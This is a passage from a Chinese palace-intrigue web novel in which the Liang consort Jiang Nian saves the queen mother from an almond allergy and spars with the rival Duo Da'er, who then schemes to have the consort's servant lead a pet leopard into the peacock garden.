高太后确实有些气朵家,自那日小儿子对她说过那番话后,她心里一直不能平下来。 从前,她认为成儿为了让吉儿归夷越,牺牲太多,却从没考虑那孩子在梁过得并不好,不,她不是没考虑,而是刻意忽略,不愿承认,装作不知。 只有这样,她心底的怨恼才更有理由发泄到他的身上,她需要找一个发泄口,于是乎,小儿子便承载了她所有的宣泄。 这对他来说很不公,她不是不明。 他从小离家,归来时已是身健挺拔的朗朗少年,在她看见他的第一眼,她猝不及防生出一种排外之态,在这排外态度下却掩藏着她的亏欠和心虚。 她懊丧亏欠这孩子,她没能参与他的成长,好像一夜之间他就长成了,他如今的优秀,却没有她的功劳。 为了不让她担心,他在梁国生活的种种不曾在她面前提过,在她面前,他也向来报喜不报忧 直到那一日,他告诉她,他在大梁过得不好,明明白白地告诉她,他被人欺辱,问她为什么不关心他,为什么不去信给他,为什么不问问他吃得好不好,有没有长高个儿,有没有交好的友人。 他从凉亭离开后,她坐在那里很久。 后来,她得知朵尔罕进了议政殿,那日小儿子一整日窝在殿中,又传唤几位武将,她心里便猜到了大概。 高氏心里气归气,多半也是气朵家,朵妲儿陪在自己身边这些时日,确实也讨她欢心,心里对这孩子还是喜欢的,见她花工夫给自己熬煮汤水,也不下她的面子,端起来抿了两口。 “你们都有心,跑来陪我这老婆子。” 高太后说罢看了一眼对面的江念,见她安安静静地坐在那里。 “这‘手谈’挺有意思,一人执黑子,一人执白子,不是梁妃教我这玩意儿,我竟不知还有这样有趣的东西,下了几场,叫我赢了几回,就是不知是那丫头故意让着我呢,还是我真有那本事。” 金掌事在旁听了,心道,太后特意在朵妲儿面前提梁妃教她下棋,语调中还透着一丝亲昵,算是在朵妲儿面前表明自己对梁妃的态度。 江念听了,笑道:“太后高看了妾身,同太后下了几回,妾不得不甘拜下风,倒是想叫您手下留情,让妾身赢一回哩。” 高太后笑了起来,正待再说什么,突然一手抚上颈脖,脸色变得十分难看,不停地“咳咳——”清嗓子,眨眼之间,连脸都憋红了。 这一突兀的变化,众人俱慌了神。 “快传宫医来!”江念起身走到高太后身边,让她靠在自己身上,替她顺气。 金掌事反应过来,慌得让人传宫医。 前一刻还好好的,怎么突然之间呼吸不畅? “金掌事,太后早起有没有什么异样?”江念问道。 “一切都好好的,平时饮食调理也格外注意。”金掌事见太后面色肿胀,血盈面皮,忙上前扇风。 两人替高太后顺气,这会儿也没有其他的办法,只能等宫医前来。 江念低下眼眸,见高太后这个样子倒不像是中毒,想起一事,看了眼桌案上的小彩盅,问向朵妲儿,“你的润喉汤里放了什么?” 朵妲儿声音发着颤:“就是些止咳润肺的食材啊,没……没其他的……” 她不能不怕,这么多人在场,太后前一刻就是喝了她的润喉汤,没说上几句话,突然变得不好。 “润喉汤里可有放杏仁?”江念追问。 朵妲儿这时哪还有余心想别的,江念问什么,她便答什么:“放了几粒杏仁……” 话音未落,金掌事“哎呀——”一声,急得又一跺脚:“天爷么,太后她对杏仁过敏,吃不得那东西……” 第144章 大王是我夫君 说话间,宫医火急火燎地赶来了,不待宫医看诊,江念先说明太后适才喝了杏仁水。 那宫医自然知晓太后对杏仁过敏,听此一说,再观其病状,一刻不再耽搁,让人先将太后放平整,快速从医匣中取出银针,开始针灸放血,最后又是一番催吐,这才缓过半条命。 众人将太后扶上步辇,抬回了祥云殿内,江念同朵妲儿随行在侧。 宫医开了一剂调养的方子,转头对金掌事说道:“适才幸得梁妃殿下提醒,多耽误一刻,危矣。”宫医又嘱咐了几句,然后去了外殿守着。 高太后躺在床榻上,虚弱得起不来身,半阖着眼,嘴里喃喃着让江念留下,其他人在外间候着,这个其他人自然指朵妲儿了。 江念便侧坐在床沿,半步不离,过了一会儿,宫婢将熬煮的汤药端来,再将高太后缓缓扶起,靠坐于床头,江念接过汤药,舀凉一些,慢慢喂给高太后饮下。 “太后,还有无哪里不适?”江念问道。 高太后摇了摇头,看着江念,问道:“刚才在凉亭我恍惚听见你问润喉汤里是否放杏仁,你怎的会问这个?” “妾身也煮了润喉水。”江念说道。 高太后点点头,明白了,声气虚弱道:“你给我熬煮那汤水前,向膳房的奴才们问过我有无饮食禁忌,所以那会儿你见我发病,立马就想到杏仁。” 江念点了点头。 “好孩子,难为你有心。”高太后拍了拍江念的手。 江念见高太后虽缓和过来,但精神还很虚弱,说道:“太后躺下睡会儿?” 高太后“嗯”了一声:“你去罢,有奴才们照看。” 江念将手里的汤碗递给宫婢,起身,朝床榻前行了退礼,又朝宫人们交代几句,绕过绣幕,去了外间。 朵妲儿端坐着,见江念出来,瞥了她一眼,并不说话。 江念择着她的对面坐下,宫婢上了茶水。 “想不到江姐姐不显山不显水的,闷着声儿就把大事做了。”朵妲儿讥笑一声。 江念端起茶盏,轻呷了一口,问道:“什么大事?” “你现在做的不就是大事?讨得太后的欢心,不是大事?如今,太后的内室,你进得,我却进不得,江姐姐当真了得,这中间琢磨了不少工夫罢?”朵妲儿又道,“难为你把你们梁人那一套搬了出来,什么‘手谈’,哄太后老人家开心,不知以后还有什么花招子。” 江念嘴角噙着笑,放下手里的茶盏,回看向朵妲儿,看了一瞬,又是一声笑。 朵妲儿掩于袖中的手狠狠一紧,面上仍是带着笑,问道:“我说的不对?想来江姐姐身在王庭,心仍是牵挂着故土的,只是有家归不得,哎呀……” 女子说着掩上嘴儿,轻声一笑:“错了,错了,不是有家归不得,是家没了……” 她就是故意激怒她,狠狠戳她的痛处,挑起她的火气,叫她失态,然后她再云淡风轻地跳出来,把她当疯子一样旁观,这是她的惯用伎俩,如同对待朵氏那样。 偏江念一点也不恼,敛目静了一会儿,起身走到朵妲儿身侧,慢慢坐下,眼梢瞟了瞟周围,嘴角含笑地低声道:“大王是我夫君,太后为我婆母,我到她跟前孝敬就是大事?讨她老人家欢心就是大事?这本是应该,怎么到妲儿妹妹嘴里却成了大事、小事,好似完成任务一般。” 江念如何看不出朵妲儿的险恶用心,她声音压得很低,低得只有她二人听见。 “倒是妲儿妹妹,你在王庭是什么身份?你说我没有家,那我现在告诉你,我是王庭的女主人,而你什么也不是,还有,你说我有家归不得……”江念转而又是一笑,腔调婉转,“现在到底是谁有家归不得?” 朵妲儿被她说得面颊通红,数度张嘴,吐不出一个字。 对江念来说,只要不招惹她,那么就相安无事,你好,我好,大家好,可招惹上她,她也不会忍着,她也不是忍人的脾气。 除了高太后,那是没办法,为了呼延吉,她不得不忍。 江念并不打算就此作罢,在朵妲儿面上睃了两眼,反将她一军:“妲儿妹妹,你确实很会讨人喜欢,撒娇卖痴也有一手,可是过了……” “什……什么过了……”朵妲儿盯着江念。 江念摇头说道:“你年岁已有二十余呀,却作豆蔻少女烂漫之态,不免有些造作,所以我说过了,装乖卖巧也需依托的。” 要不说江念嘴巴毒呢,以前讥讽呼延吉时从没留情,更别说一个朵妲儿,那还不是手拿把掐。 朵妲儿气不过,脸皮由红变紫,霍地站起身,连带着将手边的茶盏带翻在地,砸得一声响。 原是朵妲儿想要激江念失态,结果反把自己气得半死。 金掌事听见声音从里间出来,看了一眼地面茶水泼溅的碎盏,又在朵妲儿身上一溜,招手,让宫婢们快速清理,虽未言语,可抿直的嘴角泄露了不快的心绪。 朵妲儿忙上前,问道:“金掌事,太后现下如何了,妲儿想进去看看她老人家。” “妲姑不必忧心,太后已好些,刚歇下了。”金掌事说罢,又走到江念身边,温声道:“在此谢过梁妃,那会儿老奴也慌了。” 江念颔首道:“金掌事不必多礼,应该的,惟愿太后一切安好。” 正说着,外面通传大王驾临。 众人忙迎出殿外,跪伏阶下。 “都起身。”呼延吉步履有些急,径直进了殿内,众人起身随在身后。 “太后情况如何了?”呼延吉一得到祥云殿的消息,便放下手头事务,赶了过来。 金掌事上前,躬身回道:“回大王的话,宫医已来看过,已服过药,太后发作之时,奴才们都慌了手脚,幸有梁妃殿下在侧及时向宫医道明缘由,得以及时诊治,让太后少遭罪。” 呼延吉点了点头,看了一眼江念,然后走进里间,不一会儿,里面传来老妇人沉沉的叹息,接着就是喁喁私语。 呼延吉伴在床榻,直到高太后睡去才从里面出来,走到江念面前,说道:“走罢,让太后歇息。” 江念点了点头,随在呼延吉身侧出了祥云殿。 朵妲儿受不了被人忽视,看着离去的二人,从未如今日这般被冷落。 呼延吉从进殿到离开,看也未看她一眼,虽没责怪她,可这种态度叫她更加受不了,而他没言语责怪她,无非是看在太后的情面,又或是从前他害她失足掉入湖池,出于一点点的歉意,给她留了几分脸面。 待人走后,金掌事看向朵妲儿,说道:“妲姑也回罢。” 朵妲儿只得说道:“那明日我再来看望太后。”说罢,转身离开。 金掌事将朵妲儿送出殿外,见她离开后,折身回到殿内,守在高太后身侧。 “都走了?”高氏问道。 金掌事点头:“走了。” “扶我起来。” “太后不多躺一会儿?” 高太后叹了一口气:“无事,这会儿也睡不着。” 金掌事走到榻边将高太后扶靠于床头,往她背后垫了两个引枕,好让她舒服一点。 “今日这个情形你都看见了,同我说一说。”高太后说道。 金掌事从宫婢手里接过一碗热茶,双手奉到高太后面前,说道:“老奴能说什么。” 高太后笑了起来:“你这老货,在我面前装鬼,真是越老越精,咱俩风里雨里多少年,走了这一程,你只管说,我这老命以后还指望着你伺候。” 金掌事见高太后喝了茶,坐到床边的圆凳子上,说道:“不是老奴说,梁妃当真是个心细的,就拿这润喉汤说,还特特去膳房询问您饮食上有无禁忌,光这份心,就比妲姑强些。” 金掌事替江念说话,也有几方面原因,那晚,她拿着避子丸守在西殿,待大王行事后进入寝内送避子丸,这本就是一份得罪人的差事。 还不是得罪旁人,而是得罪大王,但是太后的意思,她不能不硬着头皮照办。 这要放在旁的女子身上,有大王在背后撑腰,还不掐着劲儿地在她面前做张做势一番?谁料,梁妃并不让她为难。 这是其一,后来大王杖责祥云殿众人,独独给了她宽恕,让她多多劝解太后,这话里的意思,她又怎能不明白。 再一个,她也确实觉着梁妃给她的感觉更稳妥,到了她这个年纪,别的不说,看人还算准,至于太后嘛,她同自己所处的位置不同,自然也有她的顾虑。 高太后听罢,点了点头:“这倒是。”静了一会儿,又问:“你觉着妲儿这丫头如何?” 金掌事从高太后手里接过茶盏,放于床头几上,说道:“这个叫老奴怎么说?” “叫你说,你就说,一大把年纪还在我跟前装佯儿。” 金掌事笑道:“既是您叫我说,那我便说了……” 第145章 想我了,就看它 高太后让金掌事说一说对朵妲儿的看法。 金掌事想了一想,说道:“妲姑也好,就是有些太浮了。”说罢,看向床榻上的高氏,“您老人家心里比谁都清楚,又何必问老奴呢,您能看透东殿那位,怎么可能看不出这位的心思。” 高氏微微沉息,声音里透着一丝无奈,“嗳”了一声:“妲儿这丫头,会讨巧,可她一身本事全用在讨巧上,虚于表面。” 说着又将话头转到江念身上:“江念那丫头好是好,样貌好,品格也不差,也拿得出手,上得了大台盘,问她什么,她都答得上来,而且我发现这丫头其实贼溜溜的,吃喝玩乐门儿清……” 说到这里,高氏腔调里竟有一丝笑意。 金掌事也跟着笑道:“可不是呢,您听她一本正经地说话,却能不经意间叫人乐起来。” “就是可惜了偏偏是梁国人,哪怕她同兀良慈那样不属五上姓,我也不说什么。”高太后叹道。 金掌事听了,也不再言语,这也没法,身份上改变不了。 “你当我真属意妲儿那丫头?不过是看在她背后的朵家,朵家手上拢有兵权,朝中党羽众多,让她坐在大妃之位,也是为了稳住朵家。” “大王是个有主意的。” 高太后摇了摇:“难为他了,成儿在世之时未曾不尝试收揽权柄,后来怎么样呢,不得不屈于时势,其兄尚且不能为,何况他这个做弟弟的。” 这话金掌事不好接,在太后心里始终觉着成王比大王能力更强,毕竟成王是太后从小看大的,这里面有些理性之外的私人偏见。 金掌事又想起一事,说道:“那日,大王在议政殿坐到好晚,后来还是梁妃去了,人才出来,出来时神采奕奕的,不像有烦恼的样子,叫我看,大王一见着梁妃,烦忧也没了,问题亦解了,梁妃旺咱们大王呢。” 太后本不关心大王日常起居,那一日却叫她留意王的近况,想来也是察觉到朵家的动向。 “妲姑那边……是找个理由打发她回朵家还是……”出了今日这事,她需得向太后讨个话儿。 高太后闭上眼,想了想,说道:“留侍王庭罢,一切还未有结果,再等等。” 金掌事应诺。 …… 江念随呼延吉回了西殿,宫婢们上前替二人更衣。 待宫婢们退去,江念问道:“东境那边可有消息?” “没这么快,人应该才到不久。”呼延吉说道,腔子竟带着轻快调。 江念望着他的脸,太后伤了身,怎的他还喜上了,问道:“怎么了,有什么好事?” 呼延吉坐到矮案边,眼中亮起不一样的光彩:“刚才我母亲唤我名字。” 江念坐到他的对面,撑不住笑起来,再一想,又觉着有些可怜,叫他一声名儿,他就开心成这样,于是生生将笑憋回去。 呼延吉倒是不恼,觉着母亲今日格外需要他,能有现在的改变,有江念的功劳。 呼延吉看向江念,说道:“阿姐,送你一样礼物。” 江念本来不好奇的,他平日送她礼物无非就是金玉珠宝之类,这会儿见他很有兴头的样子,遂问道:“什么礼物?” 呼延吉起身,走到一箱柜前,背着身,不知往袖中放了什么,然后掩上柜门,走到她身边,屈腿坐下,看着她。 江念笑道:“是什么,快拿出来,我瞧瞧。” 呼延吉将手臂横在身前,宽大的衣袖垂下:“在衣袖里,需得你探进来找一找,方才知晓。” 江念也不客气,说道:“端好了。” 呼延吉真就把手臂端得正正的,人却懒懒地倚着案几,一脸兴味地看着她:“来。” 江念一手拢起自己的袖摆,身子稍稍前倾,一手探入呼延吉宽敞的袖口处,什么也没有,又往里探了探,然后一脸疑惑地看向呼延吉。 呼延吉笑了笑:“阿姐再往里探一探。” 江念又往里摸索几下,仍旧没有,呼延吉将手臂放下,佯装道:“瞧我这恼子,搞错了,是另一边。” 他也不知道怎么回事,特别喜欢逗她,从儿时起便是如此。 江念乜斜着眼,脸上晕出一点点红,待要起身,呼延吉扯住她的衣袖,说道:“不逗你,真有一物,你看。” 江念转眼看去,就见呼延吉从另一袖笼中取出一物。 定目一看,竟是一把扇子,扇身由华丽的孔雀羽制成,羽眼很大,色泽是艳丽的蓝绿金,扇形如同火焰一样,带着神性。 “真好看。”江念从呼延吉手里接过羽扇。 “喜不喜欢?” 江念笑着点头,问道:“特意让人捡的雀羽?” “什么捡的,我叫人逮着那畜生,从它屁股后面拔的。” 江念嘴角一抽,这是他能做出来的事。 正在江念把玩羽扇时,突觉领口一凉,低下头,脖颈间多了一物,一个白色的兽牙,她记得这东西常挂在呼延吉的左耳,当耳饰。 “这是我儿时猎的头狼的獠牙,我很珍视,阿姐你带着,若我不在你身边,想我了,就看它。” 江念噗嗤一笑,嗔道:“谁想你来着?” 呼延吉一怔,语调有些急了:“你就不能想一想?” 女人眼横秋水,佯装道:“不想。” “真不想?” 呼延吉见她不睬自己,正待厮闹她,突然觉着身面有东西靠近,带着危险的气息,全身肌肉立时绷起,就要回肘一击,却听对面的江念出声:“嘬,嘬,嘬,过来,闪电。” 只见一个金黄矫健的身形,慵懒且高傲地从呼延吉身侧走过,竖起尾巴,拿头往江念身上蹭了蹭,然后伏在她的脚边,半眯着眼舔爪。 呼延吉瞪视着对面同狼身差不多大小的金豹,说道:“这畜生怎的长这样快。” 江念拿脚背碰了碰他的腿,说道:“你别老畜生畜生的,它有名儿,叫闪电。” 呼延吉静了半晌不语,刚待说话,阿星碎步进入寝屋,伏跪于呼延吉同江念跟前,惶惶道:“婢子没看住它,叫它跑了进来。” 闪电一直是阿星在照看,见着阿星,又走到她身侧,蹭了蹭,像是打招呼,然后又回到江念身侧,伏趴下。 江念见着不免觉着好笑,拍了拍闪电的头,亲昵道:“你倒是会来事,谁也不冷着。”说着看向阿星,“你去罢,让它在这里玩一玩。” 阿星应诺,退了下去。 待人走后,呼延吉看了一眼闪电,嗤笑一声:“你的人,你的豹,一个样儿……” 江念听出他话里的意思,无非是说豹子不打招呼进来,再借豹子暗讽阿星一宫婢不知礼数,私闯君王寝屋。 江念低着眼,不言语,只是抚着豹儿的头。 呼延吉凑到她的身侧,慢慢将手搭在她抚弄豹儿的手上,嬉笑道:“你别光抚它的头。” 江念看着他凑近的脸,一双又清又透的琥珀眸,高挺的鼻梁,还有好看的下颌流线,她将目光移到他的左耳,不薄不厚的耳垂上一个小小的竖形耳眼。 呼延吉见她望着自己的左耳发怔,想不通,她怎么对自己的耳洞这么感兴趣。 正当两人之间的空气变得黏稠燥热之时,一声咕噜咕噜的低吼声响起。 呼延吉低头看去,那豹子正对着他龇牙,心头火起,小畜生,吃我的,喝我的,养一身彪肉,还跟我龇牙,于是一把拎起它的后颈,起身往外走去。 江念见自己的豹儿在呼延吉手里四爪乱舞,喉咙里嘶哑叫着,忙随在他身侧,生怕他一恼,对它下重手。 “你跟它计较什么?” 殿中宫人们见大王一手拎着半大不小的金豹往外走,走到殿外,甩手就是一丢,然后拍了拍手,心满意足地扬起笑。 正在此时,大宫监丹增疾步走来,附在呼延吉耳边,说了几句什么。 江念就见呼延吉唇边勾起一抹冷笑,同她招呼了一声,去了前廷。 呼延吉乘着步辇,老远就见到一个影儿像团子似的,伏拜于阶陛之下,不是朵尔罕却又是谁? 呼延吉下辇,步到朵尔罕身前,搀他起身,面露动容:“左大臣快快起身。” 朵尔罕这才略显吃力地从地上缓缓站起:“老臣搅扰了大王燕息,罪该万死。” “左大臣不必如此,进殿说事罢。”呼延吉说着拾级而上,进入议政殿。 朵尔罕隔几步随在他的身后,进入殿内。 宫侍上茶毕,退出。 “左大臣这个时候来,可是东境那边有什么消息?”呼延吉问道。 朵尔罕心下一紧,这年轻小君王倒会问话,故意给他下套,他若说不知东境消息,显得他昏昏无为,一问三不知,他若说得知晓东境消息,那更要命,君王都不知道的消息,他却知道,便是僭越的大罪。 他得提起十二分心神,否则一个不小心就掉到他的陷阱里。 “老臣近些时夜不能寐,忧思东境之况,也只能惘惘地盼着犬子寄一封家书回来。” 呼延吉暗骂一声,老狐狸,就那么把朵尔罕晾在一边,不再说话。 整个殿宇寂然无声,静得朵尔罕连自己粗嗄的呼吸都听得见,若非必要,他是真不想跟这位年轻君王打交道,这是什么脾性,完全捉摸不透…… 第146章 轻狂性儿 朵尔罕见呼延吉不再问他话,只能借由喝茶发出点声响,好让这声响带出他下面要说的话。 “大王,老臣这次前来,是有一事。” 呼延吉“嗯”了一声,说道:“何事?左大臣说来。” “老臣之女朵妲儿,在王庭已有些时日,怕这丫头不谙礼数,搅扰了大王同圣太后之清晏,想着是否将她带回家中。” 自上次他从议政殿离开后,王庭这边一直没有消息,今日他过来探探口风,好做下一步谋算,若让他将女儿带回,立妃之事应是无望,若王庭将人留下,此事多半就定了。 朵尔罕等着上首回答,眼梢间,御案在窗棂剪碎的光影下浮闪着,不得不将眸光凝起,往上看去。 正巧看见君王向他射出的探究眼神。 “妲姑在王庭很得太后喜欢,若是左大臣思女心切,不如这样,本王向太后禀一声,好叫妲姑归家,如何?” 朵尔罕听此一说,心里有了底,这是想留下人了,遂说道:“荷蒙圣太后垂青,那便是她的造化,自当以侍候太后为首要,老臣先时怕她不懂规矩惹了太后不喜,这才思虑将她带回教导。” 呼延吉知道朵尔罕的意思,如今他在等东境的消息,将朵妲儿留于王庭,好稳住朵家。 …… 这日一早,阿星牵着闪电在殿前的院中遛弯,院子很大,哪怕解开绳索,也够闪电来回驰速。 “阿星,你把它牵远些。”达娃不悦道,她很怕这东西,有几次金豹还对她龇牙。 阿星冷着脸说道:“这是梁妃的宠物,牵到哪里去?把你牵走了,它都牵不走,别看它只是一个畜生,却比你的命金贵。” 达娃一听,气得两条胳膊冰凉,她也是个火爆性子,上前就要开骂,却被她妹妹帕依拉住。 “你忍一忍罢。” 达娃气得鼻翼翕动,却不得不生生将火气压下,随帕依离开。 “呸”阿星朝两人离开的方向啐了一口:“不拿镜子照一照,当自己是西殿的主子哩!” 达娃同帕依出了殿院门,仍是心里气不过,低声骂道:“你看她那得意的样子,从前怎么不觉得她这样讨厌。” 帕依冷笑一声:“从前她倒是想做张做势,在大膳房里没那个条件,那些阿姆们都是老成精的,个个压她头上,她敢?再一个,死去的红珠又是老好人儿,便把她那股子小人劲给掩住了,如今有了倚仗,可不就露出真面目。” 达娃越想越气,脚下一顿,就要转身折回去,非要将心底这口气出出来不可。 帕依将她拉住:“你同她吵什么,就你出头,最先打的也是你。” 达娃一对鼓鼓的胸脯子气得起伏不平,字从牙缝蹦出:“从来只见过‘狗仗人势’的,没见过‘人仗狗势’的。” 一语罢,把帕依倒逗笑了:“什么跟什么,你等着罢,她这么个轻狂性儿,迟早要闯祸。” “梁妃殿下怎的不约着她一点。”达娃怨声道。 “怎么没约着,没看见现在让她饲养金豹么,殿里的事都不叫她插手,就是怕她惹祸,结果还是这么个样,她也就是运道好,同主子以前有些情谊,她再不惜福,这情谊迟早被消磨光,你看罢。” 江念在秋月同珠珠的侍候下理毕衣装,走出殿外,准备去祥云殿问安。 刚出殿门,就见阿星牵着闪电在殿院中遛弯,闪电是阿星喂养长大的,平日里只对她和江念比较亲,但对西殿其他人就不那么友好。 殿中宫侍们每每见着都是绕着走,就怕它扑上来。 江念见了,蹙眉道:“你把闪电带去后湖那一爿,这里人来人去的,除了你跟我,它对其他人都不亲,伤了人怎么办。” 她已不知提醒过阿星几次,每次都回说知道,结果还是这么着,时不时牵闪电到殿院里转悠,再加上闪电平时喂养得好,半大的豹儿长得彪壮,暴冲起来,也不知是闪电牵着她,还是她牵着闪电。 阿星埋下头,把绳索往手间绞了绞,低声道:“知道了。”说罢,不情不愿地牵着闪电往后湖去了。 江念叹了一口气,待会儿从太后那里回来得找她谈一谈,她若再这么个脾性,西殿是待不了了。 江念去了祥云殿,见高太后气色比昨日好了许多,陪着闲说了几句话,没多久,朵妲儿也来了。 高太后如今对江念有了改观,当看一个人顺眼时,便越看越顺眼,高氏对朵妲儿自然也不冷着,一眼看去,就是两位年轻女子围在富贵雍容的老太太身边说笑,一派和乐融融。 待高太后乏了,两人起身离开。 朵妲儿看着江念乘着步辇离开,看了一会儿,慢慢收回眼,然后又看了一眼自己的丫鬟琴奴。 “知道怎么做么?” 那琴奴敛下眼,嘴角勾出一抹笑:“回主子的话,知道。” 略显荒杂的后湖,阿星独自坐在台阶上,双臂抱膝,歪着头,看着园景,金豹被她拴在树下。 她狠狠地擦了擦眼,直把一双眼揉红揉疼。 以前你才来时,不是我给你留了一碗饭?你被贬到后湖扫园子,不是我拉着阿月过来帮你打扫? 现在你起来了,就这么对我?把我发派到鬼影都没有的角落,怕我见人还是怎的,还是怕我把你从前落魄的样子告诉大家?都是从奴才起来的,谁比谁高贵?那个时候若没有我,你如今不知道成什么样。 一面想着一面拔着手边的杂草,在手里揉了又揉,再掷到地上,用脚尖碾了又碾。 “这些杂草得罪你了?” 蓦地,一个声音从不远处响起。 阿星侧头看去,正是才从祥云殿归来的江念,于是站起身,垂着头,也不说话。 江念走到她身边,弯腰往她脸上望了两眼,说道:“心里骂我呢罢?” 阿星别过脸,不答,咕哝道:“不敢。” 江念也不管她,敛衣坐于台矶上,幽叹道:“以前呐,我向红珠姐应下,等我爬到上面,我就把她从浣洗院捞出来,让她再不用受那份苦。”江念说着斜看向阿星,又叹了一声,“谁料到,叫你得了便宜。” 阿星一屁股坐到江念身侧,急说道:“红珠待你好,我就待你不好?” “你待我好,有哪些好?说来听听。” 阿星掰着指头,说道:“你才来那会儿,错过饭点,是不是我给你留得饭?” 江念“嗯”了声,点点头。 “后来,你被责罚去后湖,是不是我帮你扫洒的湖园?” “这倒是,还有呢?” 阿星想了想,好像再没什么可以拿出来说的事情,只好说道:“平日咱们那些一点点小事,不都是情谊?” 江念一双眼望着半干涸的荷塘,再转头看向阿星:“阿星,你说的前两样,我一直都记着,可是我待你也不差罢,就是还恩也该还完了,不是吗?” 阿星心里一震,生出慌乱来,因为她知道江念说的不假,若论还恩,早该还完了。 “至于你说往日的情谊……”江念收回眼,看向虚无的空中,“那是相互的,我待你也不错,这才有相互间的情谊,可是,阿星,你若真想待在我身边,就把脾气敛一敛,总是这样没规没矩的,我总不能一直纵着,叫殿中其他人怎么想,以后大家岂不是有样学样?” 江念顾着她的脸面,话说得含蓄,她若明白她的苦心,这一趟话就算没白说。 “你若是不愿在西殿,我可替你在别处谋一个闲差,或是去制香堂,学一门手艺……” 阿星猛然抬起头,生怕江念把她撵走,忙敛起裙摆,跪在台阶下,对江念说道:“婢子就在梁妃跟前伺候,哪里也不去。” 江念看着她,点了点头,看了一眼树下的闪电,说道:“那咱们丑话说在前头,你若谨言慎行,恪守宫箴,西殿还有你的位置,但再有冒失,我可不能留你了,可知道?” “知道了……”阿星又忙改口道,“婢子知晓。” 江念点点头:“闪电你只早晚遛一遛,王庭也有兽园,放到那里面也成,你也松闲些不是?” 阿星应是。 兴许是江念的话起了作用,后几日阿星再没将闪电牵到殿院中,平时就在后湖遛弯,然后再关回兽园。 这日,阿星正待将闪电关进兽园,迎面来了一人,笑道:“原来你在这里,叫我好找,快随我走一趟。” 阿星看向琴奴,心道她不在妲姑跟前伺候,怎么跑来兽园。 琴奴一眼看出了阿星的想法,说道:“梁妃在孔雀苑呢,同我主子一道,叫你把金豹带过去,都说想看一看,没口子地夸你把它饲养得好。”女子说着,隔着几步远,打量那金豹,又是一顿夸,“阿星姐,这小豹可真俊,皮毛油亮,金灿灿的晃眼睛,牵出去不要太威风。” 阿星听说,心里得意,她饲养闪电当真是下了功夫,不然这豹子除了江念就是同她亲近呢。 “梁妃也在孔雀苑,还夸我了?”阿星问道。 琴奴笑道:“可不是,快别耽误时候了,免得叫主子们等。” 阿星没多想,点了点头,牵着金豹随琴奴往孔雀苑行去。 “你离那么远做什么?”阿星见琴奴走在前面,刻意保持一段距离,似是有些惧怕。 琴奴扭过头,扯起嘴角笑道:“不是离得远,就是想走快些。” 阿星也不戳破她。 很快,两人一豹行到孔雀苑,此时正值上午,太阳不甚热烈,苑中树植葳蕤,绿森森的,一进苑里就能听到叽叽啾啾的鸟儿叫。 “梁妃在哪儿?”阿星问道。 琴奴指向一条小路:“这边……” 第147章 完了!彻底完了! 阿星牵着闪电走进孔雀苑,展眼往四周看去,没见着人。 “梁妃殿下呢?” 琴奴指向一条小道,说道:“还要往里走一段路,你跟着我就是了。” 阿星只好牵着闪电往小径更深处行去,径旁娇绿纤绵,绿茵如席,又走了一段,小径两侧就是半人高的灌丛。 她总觉着有些异样,好像少了点什么似的。于是顿住脚步,疑心地看着前面的琴奴,不再向前。 琴奴听不到身后的脚步声,回过头:“怎么不走了?” “你莫不是在诓我,走了这半晌,梁妃在哪儿呢?”阿星说着就要牵闪电折身。 这时小径更深处传来女子的说笑声。 琴奴跌脚道:“你听听,你听听,我难不成还哄你?还不快些,已是耽误了这么会儿,叫主子们久等,怪下来算谁的?” 阿星闻得小径深处有人声,打消心头疑虑,随在琴奴身后,继续往里走去。 闪电不知看到什么,突然压伏下前肢,一双眼警惕地盯着灌木另一边。 也就是一刹那,金豹全身蓄力,起身暴冲,套在阿星手里的绳索瞬间挣脱。 “闪电——” 阿星慌得一叫,声音还未落地,就听到灌木另一侧,响起几声女人的惊呼,还有“嘎——”的怪叫,这个叫声让阿星脑中一炸,想起来了,她是说一进孔雀苑就觉着哪里不对劲,好似少了什么。 少了孔雀!这个叫声…… 待她追向闪电,就看见下面一幕。 狼般大小的金豹,在草地上来回追咬一群孔雀,孔雀全聚集到了这里,这还不是最糟糕的,最糟糕的是,正在此处投喂孔雀的人是圣太后! 老太太被吓得嘴里“哎哟——哎哟——”惊颤,一手抚着胸口,面色惨白,站立不住,人往后仰,幸得宫人在后扶着。 此时的金豹已咬死了一只孔雀,叼着孔雀长长的脖儿,头一甩,断脖的孔雀被高高抛起,在空中划过一个弧,落在地上,接着又去追咬另一只。 阿星讷讷道,完了,完了…… “来人!来人!把这豹子打死!”一道娇喝响起。 阿星一惊,转目看去,说话之人正是朵家那位贵女,朵妲儿。 话音一落,立时上来一群手拿木棍的宫人,对着金豹挥去。 那金豹名闪电,真如其名一般,身形迅捷,宫人们挥棍的举动对它来说太过迟缓,一个腾跃窜入灌木丛,溜了。 阿星知道自己被算计,闯下大祸,于是也撒开腿跑了,心里只有一个念头,找江念,江念能保她。 …… 江念看着面前的一人一豹,揉了揉眉心,她身边之人哪怕是珠珠,个个都循规守矩,朵妲儿从她们身上无法得手,便盯上了阿星。 “主子,你要相信我,真是那个琴奴说你在孔雀苑,叫我牵了闪电去。”阿星脸上惊慌未褪,方寸大乱,失口道,“阿念,你帮帮我,我闯祸了,太后受了惊吓,大王一定会叫人打死我的,但真的不是我,是琴奴诱我去的……” 秋月立在一旁,她忍阿星已不是一两日,抢说道:“你在主子跟前做过什么,除了闯祸就是闯祸,整个西殿,谁都没你清闲,只让你照顾一头豹儿,你都能生出这么大的乱子,还有脸叫主子救你,主子被你坑害惨了!” “怎么就坑了主子,我……我什么都没说……”阿星只觉着天快塌了。 秋月气笑道:“需要你说什么,你是主子的贴身侍婢,只这一条就够了,你牵金豹去孔雀苑,让太后受了惊,别人只会说是梁妃授意!” 阿星瘫坐在地,想到什么,爬到江念身侧,急声道:“阿念,我不连累你,我去向大王坦白,是琴奴诱我去的,这样大王就会明白,是朵妲儿在背后搞鬼……” 一道细嫩清甜的声音从旁响起:“阿星姐姐,你这么说,别人只会认为是念念姐姐教唆你栽赃给……给朵家贵女哩!满身是嘴说不清……” 阿星看去,却是珠珠伏在桌案边,一面说着一面抚摸金豹的头,口中虽然责备,面上却很闲适地说道:“豹儿,你不乖。” 那金豹像是听懂了似的,两只前爪交叠,然后将头搁放于爪上,低低呜了一声。 阿星见状,急说道:“珠珠,你怎么还有闲心盘它?” 珠珠抬起头,眯眼一笑:“因为我知道念念姐姐一定有办法。” 阿星听此一说,忙看向江念,见她低眉不语,似在思索,不敢打搅,只在旁静静候着。 江念把朵妲儿整个人在脑中过了一遍,从她进王庭直到现在。 先时,她装乖扮巧讨太后喜欢,之后不时往西殿走动,同她喝茶闲叙,对她的态度和对圣太后还有呼延吉的态度是两个样子,但言行还算正常。 